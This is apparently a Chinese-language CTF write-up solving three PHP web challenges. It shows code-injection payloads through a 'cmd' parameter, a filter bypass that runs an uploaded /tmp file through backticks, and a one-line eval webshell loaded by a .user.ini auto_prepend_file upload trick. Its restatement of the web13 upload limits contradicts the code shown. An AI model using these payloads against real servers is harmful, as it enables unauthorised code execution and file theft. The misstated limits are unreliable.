web12 4
去源码查看提示,参数是cmd,进行传参。期间尝试system查看,扫目录啥的,都不行,然后去尘封已久的笔记里找到了之前没咋用的函数,在这里进行了温习
- print_r() 回显数组或对象的结构
- scandir() 扫描目录中的文件和子目录
- glob() 查找与模式匹配的文件路径
- show_source() 将指定文件的源代码以 HTML 格式高亮显示,同于highlight_file()
- scandir(“uploads”); 扫描当前目录下的子目录
- scandir(“../config”); 扫描上级目录的config 子目录

扫描当前目录,(“.”指的是当前目录),可以看到有一个名字很长的文件
?cmd=print_r(scandir("."));
访问该文件即可
?cmd=show_source("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");
另一种查询姿势
通配符含义
- * 匹配任意数量的任意字符(包括零个字符)
- . 匹配点号本身
- “*.*” 匹配所有带扩展名的文件(如 index.php、flag.txt)
?cmd=print_r(glob("*.*"));
同样可以回显
红包题第二弹 1
先查看源码,发现参数是cmd,随便传参,会回显隐藏内容
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
highlight_file(__FILE__);
if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){
die("cerror");
}
if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){
die("serror");
}
eval($cmd);
}
?>
过滤了一大堆东西,目前能够使用的只有p < > ? + = . ; ` /这些字符串可以使用,这里学到了新方法,php的临时上传文件绕过
分析这些字符串的作用
<?=等价于<?php echo(php的短标记语法,相似语句另外总结)`反引号用于命令执行,.(period)等同于source的作用,.和`组合在一起,可读取文件,例:`. $filename`
对于php本身而言,可以进行文件上传
发送一个post的上传文件的包,此时php会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpxxxxxx,文件名最后6个字符是随机的大小写字母。如/tmp/phphhhhhh
在这里用?代替字母,进行绕过,结果形如/??p/p?p??????
总结就是上传带有payload的代码的文件并执行
同时这些临时文件夹下的文件最后是会被删除的,那么就需要在删除之前就执行我们上传的文件。这里将是上传的时候同时执行
cmd传参内容,同时修改请求头为POST
?><?=`.%20/??p/p?p??????`;?>
同时数据包中,文件上传格式为multipart/form-data类型, boundary定义边界符。简单解释一下Content-Type,就是告诉别人自身的数据格式,让对方用对应的方式解析。boundary的内容是可以自己定义的
Content-Type: multipart/form-data; boundary=boundary
大致框架
Content-Type: multipart/form-data; boundary=boundary
Content-Length: 132
--boundary
Content-Disposition: form-data; name="hu"; filename="1.txt"
Content-Type: text/plain
#!/bin/sh
ls /
--boundary--
第4行和第10行中–必须有,name="hu"; filename="1.txt"名称自定义,#!/bin/sh表示系统执行时会使用/bin/sh解释器来解释执行命令(可有可无)
将以上内容搬到bp,查目录

查文件内容

参考文章:https://blog.csdn.net/2302_76724233/article/details/141941439
web13 5
<?php
header("content-type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];
$temp_name = $_FILES['file']['tmp_name'];
$size = $_FILES['file']['size'];
$error = $_FILES['file']['error'];
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if ($size > 24){
die("error file zise");
}
if (strlen($filename)>9){
die("error file name");
}
if(strlen($ext_suffix)>3){
die("error suffix");
}
if(preg_match("/php/i",$ext_suffix)){
die("error suffix");
}
if(preg_match("/php/i"),$filename)){
die("error file name");
}
if (move_uploaded_file($temp_name, './'.$filename)){
echo "文件上传成功!";
}else{
echo "文件上传失败!";
}
?>
文件名不能出现php,扩展名要大于3,文件名不能大于99,扩展名和文件名里都不能出现php。内容不能大于24个字符串。利用txt和.user.ini进行绕过
找一个合适的一句话木马(eval前面不需要@,@是为了在执行过程中,不输出报错信息,;已经让语句闭合了,那么?>也可以忽略。在一部分的一句话木马中,;和?>可以不需要同时存在,?>是会视为代码块的结束,相当于也是对语句进行了闭合)
<?php eval($_GET['a']);
接着再传一个.user.ini文件,文件内容的作用就是为了每次执行PHP脚本前,先执行file.txt的内容
auto_prepend_file=1.txt
刚刚已经在1.txt中产生了命令注入漏洞,接下来就可以利用这个漏洞查询当前目录,进行传参
?a=print_r(glob("*"));

访问
upload.php?file=show_source("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");
